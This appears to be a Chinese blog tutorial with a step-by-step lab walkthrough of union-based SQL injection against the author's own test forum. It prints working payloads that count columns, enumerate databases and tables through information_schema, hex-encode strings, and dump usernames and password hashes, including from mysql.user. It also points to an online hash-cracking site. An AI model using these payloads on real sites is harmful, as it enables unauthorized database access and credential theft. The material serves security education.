目录

  • 1 union联合查询注入概述
    • 1.1 简介
    • 1.2 适用条件
    • 1.3 注入步骤
    • 1.4 注入技巧
  • 2 union联合查询注入案例
    • 2.1 操作环境
    • 2.2 操作具体步骤
      • 2.2.1 判断是否存在注入点及注入的类型
      • 2.2.2 使用ORDER BY 查询回显列数。
      • 2.2.3 判断显示位置
      • 2.2.4 获取数据库名
      • 2.2.5 获取数据库中的所有表名
      • 2.2.6 获取数据库的对应表中的所有字段名
      • 2.2.7 获取字段中的数据
  • 3 总结

本博客内容仅供学习探讨,请勿滥用乱用

1 union联合查询注入概述

1.1 简介

union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。联合查询会“纵向”拼接两个或多个 SELECT 语句的结果。

1.2 适用条件

(1)网页存在注入点,有回显。
(2)需要满足union语句要求,即:

  • union前后两个select的结果集应具有相同列数
  • union前后两个select的结果集对应列应是相同数据类型

注意,当数据类型为字符时,可以使用编码将字符转化为数字类型。

1.3 注入步骤

(1)首先判断是否存在注入点注入的类型
(2)使用ORDER BY 查询列数、观察回显的位置。
(3)获取数据库名。
(4)获取数据库中的所有表名。
(5)获取数据库的表中的所有字段名
(6)获取字段中的数据。

1.4 注入技巧

在最后一个select语句后可以使用 order by 或 limit 等SQL语句对查询进行限制和调整。

2 union联合查询注入案例

2.1 操作环境

实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》

注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。

2.2 操作具体步骤

在执行sql语句的时候,可以考虑火狐浏览器的插件HackBar Quantum。

2.2.1 判断是否存在注入点及注入的类型

在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在SQL注入点以及注入类型,如是否是字符型还是数值型,是否有布尔状态,是否存在延迟注入等。首先用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。然后判断是否存在注入点及注入的类型。


(1)将参数修改为?id=5,并刷新,看到页面变化如下,弹出第5条留言内容,由此可推测见后台是根据id参数的不同来反馈不同信息,因此推测留言内容极有可能是存在数据库中,可控参数id与数据库存在交互,很可能存在sql注入。

(2)判断注入类型为字符型还是数字型。将参数修改为?id=5'id=5",并刷新,看到页面变化如下。说明此注入点可能为数字型注入。

  • 出现上述这种报错信息,错误发生在单引号附近,说明此注入点可能为数字型注入。具体分析如下:
    猜测原sql语句可能为:select * from table where id=$id。假如id为数字型,则sql语句为select * from table where id=5,当输入?id=5‘,时,sql语句变为select * from table where id=5',说明单引号之前都是正确的,说明单引号是多余的。

2.2.2 使用ORDER BY 查询回显列数。

(1)order by 语句为按某一列的顺序进行排序,在此处我们利用该语句来判断select查询结果集中有多少列,当order by 参数超过其结果集列数时,会出错。修改参数为?id=5 order by 2,结果与?id=5一样,可以猜测是回显数据至少有2列。(order by 2指按照第2列进行排序)

(2)修改参数为?id=5 order by 列数,列数依次增加。当参数修改为?id=5 order by 4,回显结果正常,但是当参数修改为?id=5 order by 5,出现报错结果,说明当前select语句查询结果中字段个数为4,即有4列


(3)当ORDER BY 无法使用时,也可以用?id=5 union select 1,2,3,4?id=5 union select null,null,null,null,当使回显结果与?id=5一致时,数数字的个数或者null的个数,即为列数。

2.2.3 判断显示位置

得到字段个数后,可以尝试构造联合查询语句。
这里我并不知道表明,根据mysql数据库特性,select语句在执行过程中,并不需要指定表名。
(1)我们构造union select语句为?id=5 union select 1,2,3,4。试图显示联合查询的内容,结果发现与原来一致,这是因为id=5为真,后台返回了id=5的页面时就占用了页面可以显示的区域,导致第二个select语句的结果集无法显示。

(2)我们可以考虑让union前一句语句的查询为假,没有回显内容,则后台将返回第二个select语句的结果集。因此构造sql语句:?id=-5 union select 1,2,3,4.可以看到第2第3第4个参数均显示出来,这三个参数可以用来查询后台的一些信息。

(3)我们可以构造sql语句为?id=-5 union select 1,2,3,version(),来利用第4个显示位带回后台的版本信息。至此我们成功利用union语句带回了WEB开发者意愿之外的内容。

tips:

select 1,2,3,4

只有该条语句时执行结果如下:

2.2.4 获取数据库名

(1)我们可以构造sql语句为?id=-5 union select 1,2,version(),database(),来利用第3个和4个显示位带回后台的该网站所在数据库信息。可以看到确实是我们搭建网站时所用的数据库。

(2)在《【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类》中我们知道,元数据库中有个表schemata记录所有数据库的信息。该表中字段名schema_name记录着所有数据库的名字,我们可以通过该表获取其他数据库信息。我们修改参数为?id=-5 union select 1,2,3,group_concat(schema_name) from information_schema.schemata,回显如下,带回了该服务器所有数据库名字,包括该站点之外的数据库也可以看到,说明union联合查询可以跨库查询

2.2.5 获取数据库中的所有表名

注意,在元数据库中,有information_schema.tables表格存放着所有表格的信息,其中有table_schema字段记录表格所属数据库,有table_name记录着表格名字。union联合查询可以跨库跨表查询
(1)获取jrlt数据库下的所有表名。我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = database()来获取当前数据库下的所有表名。注意,在页面中尽量避免使用字符串,因此用函数database()来代替上节中查到的数据库名。users表中可能存在用户账密。(也可以用该sql语句:?id=-5 union select 1,2,3,hex(table_name) from information_schema.tables where table_schema = database(),hex为16进制编码,之后用burp suite进行解码)。

(2)获取mysql数据库下的所有表名。根据上节我们查到的所有数据库名,猜测数据库管理员的账密可能存在mysql数据库下,因此我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'mysql'来获取mysql数据库下的所有表名,其中mysql前后需要加上单引号表示为字符串。可以看到返回了该数据库下所有表名,这些是跨出了我们访问的站点之外的表,看到其中有一个表名为user,可能会记录着敏感信息。注意,上述sql语句中使用了单引号,为了避免单引号的使用,我们一般把字符转换成16进制编码,即?id=-5 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema=0x6d7973716c,其中0x为了说明是16进制,6d7973716c为mysql的16进制。

2.2.6 获取数据库的对应表中的所有字段名

在元数据库中,有information_schema.colunms存储所有字段信息。该表主要字段名如下:

  • TABLE_SCHEMA:记录该字段名属于哪个数据库。
  • TABLE_NAME:记录该字段属于哪个表。
  • COLUMN_NAME:记录该字段名。

(1)获取jrlt数据库下对应表中的的所有字段名。在jrlt数据库中,在上述查询后我们知道有一个表名为users,我们构造sql语句为为?id=-5 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273来获取users表的字段名。其中,0x7573657273为users的16进制,是为了避免出现单双引号。可以看到里面有name和password两个字段,这是下一步我们要获取的目标。

(2)获取mysql数据库下对应表中的的所有字段名。同样的,在mysql数据库中有一个表名为user,我们构造sql语句为为?id=-5 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=0x6d7973716c and table_name =0x75736572来获取该表的字段名。其中,mysql数据库名和user表名采用16进制表示。可以看到里面有User和Password两个字段,这是下一步我们要获取的目标。

2.2.7 获取字段中的数据

(1)获取jrlt数据库下的想要的字段内容。

  • 我们构造sql语句为?id=-5 union select 1,2,3,concat(name,':',password) from users来获取users表中的两个字段内容。其中a是账号名,后面那一串是经过加密后的密码。注意,参数中的冒号可以转为使用16进制编码,如将’:'改为0x3a。

  • 此处用户密码没有加密。但是一般的密码均会进行加密,将加密后的密文复制到https://www.cmd5.com/网页中可以进行在线解密。

  • 在上述命令中,我们查询到的是第一个账户和密码,可以使用limit显示select查询的是第几个。修改参数为?id=-5 union select 1,2,3,concat(name,0x3a,password) from users limit 1,1,limit第一个参数是偏移量,偏移量1表示第二个账户,第二个参数是个数,表示一个。

(2)获取mysql数据库下的想要的字段内容。

  • 参考上面的方法跨库查询mysql数据库下user表的字段,构造sql语句为为?id=-5 union select 1,2,version(),concat(User,0x3a,Password) from mysql.user,返回账户名和加密后的密码。

  • 将密文进行在线解密,如下:

3 总结

(1)理解union联合查询的限制条件;
(2)掌握union联合查询注入的原理及流程;
(3)查询语句中尽可能减少字符串的使用,可以通过使用SQL内置函数或转为16进制码避免字符串的使用。

【SQL注入-03】union联合查询注入案例相关推荐

  1. sql注入 union联合查询注入(超详细)

    sql注入 union联合查询注入 我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做. 好的,我们开始第一关! 首先查看sqli-labs第一 ...

  2. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  3. SQL注入——联合查询注入

    0x01 SQL注入的原理 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原 有SQL结构,达到编写程序时意料之外结果的攻击行为.其成因可以归结外一下 两个原因叠加造成的: 1 ...

  4. SQL注入-联合查询注入

    SQL注入-联合查询注入 一,原理 使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错. 比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就 ...

  5. mysql联合查询注入防护,SQL注入之BypassWaf

    0x00 前言 无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...

  6. SQL入门之第十二讲——UNION 联合查询

    UNION 联合查询定义: 之前的JOIN连接,是可以对多个表进行横向列的合并,而不能对按行进行纵向合并. UNION操作符,则是可以将多个查询结果,按行进行纵向合并 基本语法: SELECT < ...

  7. MySQL 基础———— UNION 联合查询

    引言 联合查询与连接查询不同,通过UNION 关键字,我们可以将多个查询语句一同执行并将结果集展示出来,不涉及到任何关联关系. UNION 的含义是"联合,并集,结合",在MySQ ...

  8. 【SQL】SQL语句多表联合查询

    SQL语句多表联合查询 CREATE TABLE orders( id int not null primary key identity(1,1), customerName varchar(100 ...

  9. 关于union联合查询

    关于union联合查询 将多表查询拼接 查询结果列名与第一个表的列名保持一致 1 2 3 4 5

最新文章

  1. 2021年大数据Hadoop(十五):Hadoop的联邦机制 Federation
  2. R语言保存加载工作空间或者工作空间数据对象实战(Save Load RData Workspace)
  3. Struts2入门这一篇就够了
  4. QQ超市模拟排配2D版1.13 (XNA4.0) (修正双格货架移动的一个bug和3-5地图)
  5. SAP FICO PA 模拟题
  6. Java设计模式笔记(7)适配器模式
  7. python打开文件中文名_windows下Python打开包含中文路径名文件
  8. insertSelective 和 insert 的区别
  9. java和以太坊交互_java类库web3j开发以太坊智能合约快速入门
  10. 最强NLP模型BERT喜迎PyTorch版!谷歌官方推荐,也会支持中文
  11. linux 永久添加路由表,Linux 添加永久静态路由的方法
  12. Migrations有两个文件迁移数据的方法
  13. HTTP与HTTPS请求过程
  14. 观《穹顶之下》一些思考
  15. (转载)0x0F1AFD76 (libcocos2d.dll) (Plane.exe 中)处有未经处理的异常: 0xC0000005: 读取位置 0x00000018 时发生访问冲突。
  16. 记一次尴尬的经历---硅胶干燥剂颗粒堵住了耳机孔
  17. 张志华-统计机器学习
  18. 尚硅谷-离线数仓-笔记
  19. 把backtrader改造成金融强化学习回测引擎
  20. 决定考BEC商务英语

热门文章

  1. 假定mysql服务器密码是123456_用php写链接数据库的配置文件,数据库服务器为local host,用户名root,密码123456。 下面哪个正确?...
  2. Mybatis学习笔记——Mybatis入门
  3. Spring Security-限制请求
  4. java aot_Java 9 AOT初探
  5. 建筑安装工程项目材料管理软件
  6. 硬件设计经验-②去耦电容
  7. Android 的介绍
  8. mathtype中的字号与word相对应
  9. 华为G700升级鸿蒙,华为G700刷入recovery的教程(移动版)
  10. 5G消息+应急服务,不止于预警通知